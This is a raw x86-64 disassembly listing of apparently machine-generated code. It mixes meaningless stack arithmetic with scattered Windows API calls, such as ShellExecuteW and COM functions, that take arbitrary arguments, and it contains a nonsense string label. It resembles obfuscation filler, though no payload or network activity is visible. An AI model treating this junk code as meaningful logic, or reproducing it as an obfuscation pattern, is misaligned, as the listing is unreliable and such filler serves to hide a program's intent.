mov rax, qword [rsp + 0x8bf0]
mov rax, qword [rax]
mov qword [rsp + 0x99f0], rax
mov eax, dword [rsp + 0x3200]
mov ecx, dword [rsp + 0x2c84]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d34], eax
lea rax, [rsp + 0x31bc]
mov qword [rsp + 0x99f8], rax
movsx eax, byte [rsp + 0xc6]
mov rcx, qword [rsp + 0x7df0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x185], al
mov rax, qword [0x14017a580]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9440]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14017a158]
mov word [rcx], ax
lea rax, [rsp + 0x860]
mov qword [rsp + 0x9a00], rax
movzx eax, byte [rsp + 0x83]
mov rcx, qword [rsp + 0x8498]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x25c], al
mov rax, qword [0x14017a5d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb0]
add eax, ecx
mov byte [rsp + 0x17d], al
mov rax, qword [rsp + 0x5af0]
mov qword [rsp + 0x9a08], rax
mov rax, qword [rsp + 0x5618]
mov ecx, dword [rsp + 0x2a48]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2c04], eax
mov rax, qword [rsp + 0x5398]
mov eax, dword [rax]
mov dword [rsp + 0x32d4], eax
mov rax, qword [rsp + 0x7aa0]
mov rcx, qword [rsp + 0x6e58]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x67f0], rax
movzx eax, word [rsp + 0x1038]
mov rcx, qword [rsp + 0x7058]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd54], ax
movzx eax, word [rsp + 0x8e8]
mov word [0x14017aa20], ax
lea rax, [rsp + 0xee8]
mov qword [rsp + 0x9a10], rax
mov rax, qword [rsp + 0x7d90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x215]
sub eax, ecx
mov byte [rsp + 0x263], al
lea rax, [0x14017a051]
mov qword [rsp + 0x9a18], rax
mov rax, qword [rsp + 0x7490]
mov rcx, qword [rsp + 0x52f8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x84c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6978]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8288]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7d78]
mov qword [rcx], rax
lea rax, [0x140178e6c]
mov qword [rsp + 0x9a20], rax
mov rax, qword [rsp + 0x5cd8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2e3c]
shl eax, cl
mov rcx, qword [rsp + 0x53b8]
mov dword [rcx], eax
lea rax, [rsp + 0xebc]
mov qword [rsp + 0x9a28], rax
movsx eax, byte [rsp + 0xf1]
movsx ecx, byte [0x140178eaf]
sar eax, cl
mov byte [0x14017a1a6], al
movzx eax, word [rsp + 0x105c]
movzx ecx, word [rsp + 0xd74]
or eax, ecx
mov word [rsp + 0xb64], ax
movsx eax, byte [rsp + 0x28d]
movsx ecx, byte [0x140178f1e]
and eax, ecx
mov byte [rsp + 0x64], al
mov rax, qword [rsp + 0x5098]
movzx eax, byte [rax]
mov byte [rsp + 0x294], al
mov rax, qword [rsp + 0x6020]
mov rcx, qword [rsp + 0x83f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9968], rax
mov rax, qword [rsp + 0x5cb8]
mov eax, dword [rax]
mov dword [rsp + 0x32d8], eax
mov eax, dword [rsp + 0x30f8]
mov ecx, dword [rsp + 0x2a38]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6ea0]
mov rax, qword [rax]
mov qword [rsp + 0x9a30], rax
movsx eax, byte [rsp + 0x185]
mov rcx, qword [rsp + 0x8420]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1dd], al
mov rax, qword [0x14017a3b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9550]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140179058], ax
movzx eax, byte [rsp + 0x291]
mov rcx, qword [rsp + 0x7fc0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8a40]
mov byte [rcx], al
lea rax, [rsp + 0xdac]
mov qword [rsp + 0x9a38], rax
movsx eax, word [rsp + 0xc6c]
mov rcx, qword [rsp + 0x5a08]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x9cc], ax
movzx eax, byte [rsp + 0x1aa]
mov byte [rsp + 0x295], al
mov rax, qword [rsp + 0x6328]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c14]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a40], eax
mov rax, qword [rsp + 0x6e28]
mov rcx, qword [rsp + 0x71f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7c08]
mov dword [rcx], eax
lea rax, [rsp + 0x7638]
mov rax, qword [rsp + 0x4dc8]
mov r8d, dword [rax]
mov edx, dword [0x140178e6c]
mov ecx, dword [rsp + 0x2970]
call fcn.1400fabc0
nop
mov eax, dword [0x140178e8c]
mov dword [rsp + 0x4a6c], eax
cmp dword [rsp + 0x4a6c], 0xadb
je 0x1400f94ca
jmp 0x1400f9549
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2a18]
shr eax, cl
mov dword [rsp + 0x28d8], eax
mov rax, qword [rsp + 0x4c80]
mov rcx, qword [rsp + 0x4ac8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4c80]
mov qword [rcx], rax
lea rax, [rsp + 0x54]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x29f4]
mov r8d, 0xb8
mov edx, 0xe3
mov ecx, 0x5a
call qword [sym.imp.ole32.dll_CoWaitForMultipleHandles]
mov dword [rsp + 0x29ac], eax
movzx eax, byte [rsp + 0x53]
movzx ecx, byte [rsp + 0x50]
xor eax, ecx
mov byte [rsp + 0x54], al
jmp 0x1400f9569
mov rax, qword [rsp + 0x4d70]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x85c]
add eax, ecx
mov word [rsp + 0x858], ax
mov rax, qword [rsp + 0x4dc8]
mov ecx, dword [rsp + 0x28f4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4bf8]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x2970]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x1400f95b4
jmp 0x1400f9609
mov rax, qword [rsp + 0x4d50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4da0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ba0]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x4cf8]
movsx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jle 0x1400f9609
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4aa0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ce8], rax
mov rax, qword [rsp + 0x4d98]
movsx eax, word [rax]
mov dword [rsp + 0x4a70], eax
cmp dword [rsp + 0x4a70], 0x5aa
je 0x1400f962d
jmp 0x1400f96e9
movsx eax, word [rsp + 0x87c]
movsx ecx, word [rsp + 0x874]
add eax, ecx
mov rcx, qword [rsp + 0x4cb0]
mov word [rcx], ax
mov dword [rsp + 0x28], 0x20
mov rax, qword [rsp + 0x4e28]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x4d60]
mov r8, qword [rsp + 0x16278]
mov rdx, qword [rsp + 0x4d60]
mov rcx, qword [rsp + 0x4b20]
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov qword [rsp + 0x4d08], rax
movzx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x4be0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x57], al
mov rax, qword [rsp + 0x4c80]
mov rcx, qword [rsp + 0x4ae0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4c28]
mov qword [rcx], rax
movzx r8d, word [0x140178e88]
mov rdx, qword [rsp + 0x4b78]
mov rax, qword [rsp + 0x4b98]
mov ecx, dword [rax]
call fcn.1400fb0f0
nop
jmp 0x1400f970d
movzx r9d, word [rsp + 0x868]
mov rax, qword [rsp + 0x4ac0]
mov r8, qword [rax]
mov rdx, qword [rsp + 0x4aa0]
mov rcx, qword [rsp + 0x4ac8]
call fcn.1400fbda0
nop
jmp 0x1400f986a
movsx eax, word [0x140178e70]
movsx ecx, word [rsp + 0x868]
sub eax, ecx
movsx ecx, word [rsp + 0x87c]
movsx edx, word [rsp + 0x860]
add ecx, edx
cmp eax, ecx
jge 0x1400f986a
mov rax, qword [rsp + 0x4d00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x85c]
add eax, ecx
mov rcx, qword [rsp + 0x4cd8]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x4d38]
movzx edx, word [rdx]
and ecx, edx
cmp eax, ecx
jne 0x1400f986a
mov rax, qword [rsp + 0x4c80]
mov rcx, qword [rsp + 0x4ac8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4b88], rax
mov rax, qword [rsp + 0x4b30]
mov qword [rsp + 0x16298], rax
movabs rax, 0x7cfa05fbdcf556
cmp qword [rsp + 0x16298], rax
je 0x1400f97e0
jmp 0x1400f9841
lea rdx, [rsp + 0x4b80]
lea rcx, [rsp + 0x16318]
call qword [sym.imp.ole32.dll_OleGetAutoConvert]
mov dword [rsp + 0x297c], eax
mov eax, dword [rsp + 0x2a04]
mov rcx, qword [rsp + 0x4b98]
mov qword [rsp + 0x162a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x162a0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x58]
movsx ecx, byte [rsp + 0x51]
xor eax, ecx
mov byte [0x140178e5c], al
jmp 0x1400f986a
lea r9, [rsp + 0x4c68]
lea r8, [rsp + 0x87c]
lea rdx, [rsp + 0x52]
mov rcx, qword [rsp + 0x4e20]
call sub.WINSPOOL.DRV_FindNextPrinterChangeNotification
mov dword [rsp + 0x2a10], eax
mov rax, qword [rsp + 0x4bf8]
mov ecx, dword [rsp + 0x28cc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4b90]
mov rdx, qword [rsp + 0x4b70]
mov edx, dword [rdx]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jg 0x1400f98f0
mov eax, dword [rsp + 0x29dc]
mov ecx, dword [rsp + 0x29f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x28ac], eax
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4aa0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c68]
mov qword [rcx], rax
lea rdx, [rsp + 0x4ca8]
mov rcx, qword [rsp + 0x4db0]
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov dword [rsp + 0x2a38], eax
lea r9, [rsp + 0x4dd8]
lea r8, [rsp + 0x162f8]
lea rdx, [rsp + 0x2908]
lea rcx, [rsp + 0x858]
call qword [sym.imp.ole32.dll_CoGetObject]
mov dword [rsp + 0x4a74], eax
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4c58]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4d28]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x50]
xor ecx, edx
cmp eax, ecx
jne 0x1400f9996
mov rax, qword [rsp + 0x4cf8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x14017a050], al
mov rax, qword [rsp + 0x4cb0]
movzx r9d, word [rax]
mov r8, qword [rsp + 0x4b30]
mov rax, qword [rsp + 0x4ba8]
mov rdx, qword [rax]
mov rcx, qword [rsp + 0x4b78]
call fcn.1400fbda0
nop
jmp 0x1400f9a16
lea r8, [rsp + 0x2974]
lea rdx, [rsp + 0x162a8]
lea rcx, [rsp + 0x4b08]
call qword [sym.imp.ole32.dll_CoFileTimeToDosDateTime]
mov dword [rsp + 0x2904], eax
mov rax, qword [rsp + 0x4da0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4ba0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x56], al
mov rax, qword [rsp + 0x4c28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b88]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ac0]
mov rdx, qword [rax]
mov rcx, qword [rsp + 0x4d68]
call fcn.1400fa910
nop
movzx eax, word [rsp + 0x86c]
movzx ecx, word [rsp + 0x878]
sub eax, ecx
mov word [rsp + 0x864], ax
mov rax, qword [rsp + 0x4d70]
movzx r8d, word [rax]
mov rdx, qword [rsp + 0x4b78]
mov ecx, dword [rsp + 0x2a04]
call fcn.1400fb0f0
nop
jmp 0x1400f9b94
mov rax, qword [rsp + 0x4c28]
mov rcx, qword [rsp + 0x4ac8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
call qword [sym.imp.ole32.dll_CoGetCurrentProcess]
mov dword [rsp + 0x2a04], eax
mov rax, qword [rsp + 0x4bf8]
mov eax, dword [rax]
mov ecx, dword [0x14017a060]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x28f4], eax
mov rax, qword [rsp + 0x4b78]
mov qword [rsp + 0x162b0], rax
movabs rax, 0x742008897323d8
cmp qword [rsp + 0x162b0], rax
je 0x1400f9ac5
jmp 0x1400f9ae4
movsx eax, word [0x140178e70]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4cb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b90]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4b70]
mov qword [rsp + 0x162b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x162b8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x4bf8]
mov ecx, dword [rcx]
mov edx, dword [0x140178e6c]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jl 0x1400f9b78
lea rcx, [rsp + 0x858]
call qword [sym.imp.ole32.dll_CoInvalidateRemoteMachineBindings]
mov dword [rsp + 0x2988], eax
mov rax, qword [rsp + 0x4c58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4be0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x57], al
mov rax, qword [rsp + 0x4d98]
movzx r8d, word [rax]
movzx edx, byte [rsp + 0x57]
mov rax, qword [rsp + 0x4c28]
mov rcx, qword [rax]
call fcn.1400fb900
nop
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x56]
and eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x56]
movsx ecx, byte [rsp + 0x55]
add eax, ecx
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0x4c80]
mov rcx, qword [rsp + 0x4c28]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x4b78]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x1400f9bf8
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x28d8]
shl eax, cl
mov dword [rsp + 0x2908], eax
mov rax, qword [rsp + 0x4d98]
movsx eax, word [rax]
mov dword [rsp + 0x4a78], eax
cmp dword [rsp + 0x4a78], 0x29e
je 0x1400f9c19
jmp 0x1400f9c2e
lea rcx, [rsp + 0x4af8]
call qword [sym.imp.SHELL32.dll_SHGetDesktopFolder]
mov dword [rsp + 0x297c], eax
lea r9, [rsp + 0x4c98]
lea r8, [rsp + 0x2970]
lea rdx, [rsp + 0x4d38]
lea rcx, [rsp + 0x2974]
call qword [sym.imp.SHELL32.dll_PathYetAnotherMakeUniqueName]
mov dword [rsp + 0x2904], eax
mov rax, qword [rsp + 0x4d28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x57]
and eax, ecx
mov rcx, qword [rsp + 0x4be0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b30]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d68], rax
jmp 0x1400f9d75
mov rax, qword [rsp + 0x4c80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b88]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c28]
mov rdx, qword [rsp + 0x4ac8]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jne 0x1400f9d75
mov rax, qword [rsp + 0x4d50]
movzx eax, byte [rax]
mov byte [rsp + 0x4a7c], al
cmp byte [rsp + 0x4a7c], 0x28
je 0x1400f9cf3
jmp 0x1400f9d5b
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x28d8]
shr eax, cl
mov dword [rsp + 0x2908], eax
mov eax, dword [rsp + 0x29f0]
mov ecx, dword [rsp + 0x28f4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4bf8]
mov dword [rcx], eax
movzx r9d, word [rsp + 0x870]
mov rax, qword [rsp + 0x4ba8]
mov r8, qword [rax]
mov rax, qword [rsp + 0x4ac0]
mov rdx, qword [rax]
mov rcx, qword [rsp + 0x4ac8]
call fcn.1400fbda0
nop
jmp 0x1400f9d75
lea rdx, [rsp + 0x4b18]
lea rcx, [rsp + 0x50]
call qword [sym.imp.ole32.dll_CoQueryAuthenticationServices]
mov dword [rsp + 0x49f4], eax
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x4aa0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4d68], rax
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4c28]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4c80]
mov qword [rcx], rax
lea rdx, [rsp + 0x4cd8]
lea rcx, [rsp + 0x16338]
call qword [sym.imp.ole32.dll_StringFromIID]
mov dword [rsp + 0x2988], eax
jmp 0x1400f9df5
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28d8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ae0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b78]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ac8], rax
jmp 0x1400f9e68
mov rax, qword [rsp + 0x4c58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x53]
add eax, ecx
mov byte [rsp + 0x50], al
lea rdx, [rsp + 0x16318]
lea rcx, str.Consults_Jerkiest_Bindings_Fastener
call qword [sym.imp.ole32.dll_CLSIDFromProgID]
mov dword [rsp + 0x29d4], eax
mov rax, qword [rsp + 0x4b88]
mov rcx, qword [rsp + 0x4ac8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b78], rax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x4a80], al
cmp byte [rsp + 0x4a80], 0x1a
je 0x1400f9e80
jmp 0x1400f9ee7
mov rax, qword [rsp + 0x4b80]
mov rcx, qword [rsp + 0x4aa8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov ecx, dword [rsp + 0x28bc]
mov edx, dword [rsp + 0x2908]
xor edx, ecx
mov ecx, edx
cmp eax, ecx
ja 0x1400f9ee5
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x858]
sar eax, cl
mov word [rsp + 0x864], ax
mov rax, qword [rsp + 0x4c68]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rax]
call fcn.1400fa910
nop
jmp 0x1400f9f03
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x51]
and eax, ecx
mov rcx, qword [rsp + 0x4ba0]
mov byte [rcx], al
jmp 0x1400fa02e
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x4ac0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4c68]
mov qword [rcx], rax
lea r9, [rsp + 0x28d8]
lea r8, [rsp + 0x16328]
mov edx, 0x79
lea rcx, [rsp + 0x868]
call qword [sym.imp.ole32.dll_BindMoniker]
mov dword [rsp + 0x295c], eax
movzx eax, byte [rsp + 0x53]
mov rcx, qword [rsp + 0x4c58]
movzx ecx, byte [rcx]
sub eax, ecx
movzx ecx, byte [rsp + 0x50]
mov rdx, qword [rsp + 0x4be0]
movzx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
je 0x1400fa02e
movzx eax, word [rsp + 0x858]
mov rcx, qword [rsp + 0x4c20]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x85c], ax
mov eax, dword [rsp + 0x28bc]
mov dword [rsp + 0x4a84], eax
cmp dword [rsp + 0x4a84], 0x36a0
je 0x1400fa00f
cmp dword [rsp + 0x4a84], 0x6091
je 0x1400f9fc9
jmp 0x1400fa02e
mov rax, qword [rsp + 0x4c60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x860]
shl eax, cl
mov rcx, qword [rsp + 0x4c60]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c20]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x4c80]
mov rdx, qword [rax]
mov ecx, dword [rsp + 0x2908]
call fcn.1400fb0f0
nop
jmp 0x1400fa02e
lea r8, [rsp + 0x52]
lea rdx, [rsp + 0x162d8]
lea rcx, [rsp + 0x53]
call qword [sym.imp.ole32.dll_CoUnmarshalInterface]
mov dword [rsp + 0x4a74], eax
mov edx, dword [rsp + 0x2938]
lea rcx, [rsp + 0x4c20]
call qword [sym.imp.ole32.dll_CoMarshalHresult]
mov dword [rsp + 0x2938], eax
mov eax, dword [rsp + 0x28f4]
mov ecx, dword [rsp + 0x28cc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28d8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x28bc], eax
mov r9d, 1
lea r8, [rsp + 0x4c28]
lea rdx, [rsp + 0x162e8]
lea rcx, [rsp + 0x4b18]
call qword [sym.imp.ole32.dll_MonikerRelativePathTo]
mov dword [rsp + 0x4a74], eax
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4c80]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4ac8], rax
mov eax, dword [rsp + 0x2970]
mov dword [rsp + 0x4a88], eax
cmp dword [rsp + 0x4a88], 0x6728
je 0x1400fa0eb
jmp 0x1400fa108
lea rdx, [rsp + 0x28cc]
lea rcx, [rsp + 0x4b88]
call qword [sym.imp.ole32.dll_OleDoAutoConvert]
mov dword [rsp + 0x2994], eax
mov r8d, 1
xor edx, edx
lea rcx, [rsp + 0x28dc]
call qword [sym.imp.ole32.dll_CoLockObjectExternal]
mov dword [rsp + 0x2918], eax
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
mov dword [rsp + 0x4a8c], eax
cmp dword [rsp + 0x4a8c], 0x883
je 0x1400fa148
jmp 0x1400fa164
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x52]
add eax, ecx
mov rcx, qword [rsp + 0x4ba0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4c58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4be0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x50], al
movzx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x4be0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4c58]
mov byte [rcx], al
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x858]
and eax, ecx
mov word [rsp + 0x864], ax
jmp 0x1400fa28f
lea rax, [rsp + 0x860]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x162d8]
lea r8, [rsp + 0x4b80]
mov edx, reloc.SHELL32.dll_PathMakeUniqueName
lea rcx, [rsp + 0x16378]
call qword [sym.imp.ole32.dll_CoGetClassObject]
mov dword [rsp + 0x2954], eax
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rsp + 0x2908]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [rsp + 0x28bc]
mov edx, dword [rsp + 0x28d8]
xor edx, ecx
mov ecx, edx
cmp eax, ecx
jbe 0x1400fa25f
mov rax, qword [rsp + 0x4bf8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x140178e6c]
shl eax, cl
mov dword [rsp + 0x28f4], eax
mov rax, qword [rsp + 0x4bf8]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x4b70]
mov edx, dword [rax]
mov rax, qword [rsp + 0x4b70]
mov ecx, dword [rax]
call fcn.1400fabc0
nop
movsx eax, byte [rsp + 0x52]
movsx ecx, byte [rsp + 0x51]
or eax, ecx
mov rcx, qword [rsp + 0x4ba0]
mov byte [rcx], al
movzx eax, word [rsp + 0x858]
movzx ecx, word [rsp + 0x864]
sar eax, cl
mov word [rsp + 0x85c], ax
mov rax, qword [rsp + 0x4c20]
movzx r8d, word [rax]
mov rdx, qword [rsp + 0x4b88]
mov ecx, dword [rsp + 0x2908]
call fcn.1400fb0f0
nop
movzx eax, word [rsp + 0x864]
movzx ecx, word [rsp + 0x858]
or eax, ecx
mov word [rsp + 0x85c], ax
movzx r8d, word [rsp + 0x85c]
mov rax, qword [rsp + 0x4c28]
mov rdx, qword [rax]
mov ecx, dword [rsp + 0x28bc]
call fcn.1400fb0f0
nop
jmp 0x1400fa3f1
movsx eax, byte [rsp + 0x51]
movsx ecx, byte [rsp + 0x52]
sub eax, ecx
movsx ecx, byte [0x14017a050]
mov rdx, qword [rsp + 0x4ba0]
movsx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jl 0x1400fa3f1
movzx eax, word [rsp + 0x85c]
mov dword [rsp + 0x4a90], eax
cmp dword [rsp + 0x4a90], 0x6fd
je 0x1400fa339
jmp 0x1400fa3dc
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x4b30]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov rcx, qword [rcx]
mov rdx, qword [0x140178e60]
xor rdx, rcx
mov rcx, rdx
cmp rax, rcx
jb 0x1400fa3da
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x51]
sar eax, cl
mov rcx, qword [rsp + 0x4ba0]
mov byte [rcx], al
lea r9, [rsp + 0x4d60]
lea r8, [rsp + 0x16328]
lea rdx, [rsp + 0x4ba8]
lea rcx, [rsp + 0x28ac]
call qword [sym.imp.ole32.dll_CoGetObject]
mov dword [rsp + 0x2938], eax
movsx eax, word [rsp + 0x860]
shl eax, 3
mov word [rsp + 0x860], ax
movzx eax, byte [rsp + 0x50]
or eax, 0x70
mov rcx, qword [rsp + 0x4be0]
mov byte [rcx], al
jmp 0x1400fa3f1
lea rcx, [rsp + 0x4ba8]
call qword [sym.imp.ole32.dll_CoGetCurrentLogicalThreadId]
mov dword [rsp + 0x2954], eax
lea rax, [rsp + 0x28ac]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x4b98]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x4d08]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x4ba0]
lea r8, [rsp + 0x2974]
lea rdx, [rsp + 0x4db8]
lea rcx, [rsp + 0x4b80]
call qword [sym.imp.ole32.dll_CoQueryClientBlanket]
mov dword [rsp + 0x2938], eax
mov rax, qword [rsp + 0x4b98]
mov ecx, dword [rsp + 0x28d8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
movsx eax, word [rsp + 0x860]
add eax, 0x13e
mov word [rsp + 0x860], ax
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x52]
add eax, ecx
movsx ecx, byte [rsp + 0x51]
movsx edx, byte [0x14017a050]
sub ecx, edx
cmp eax, ecx
jge 0x1400fa51f
movzx eax, byte [rsp + 0x51]
mov byte [rsp + 0x4a94], al
cmp byte [rsp + 0x4a94], 0x17
je 0x1400fa4c1
cmp byte [rsp + 0x4a94], 0x1b
je 0x1400fa50d
jmp 0x1400fa51f
lea r8, [rsp + 0x4ba8]
mov dx, 0x61
mov cx, ILSaveToStream
call qword [sym.imp.ole32.dll_CoDosDateTimeToFileTime]
mov dword [rsp + 0x28dc], eax
movzx r9d, word [rsp + 0x860]
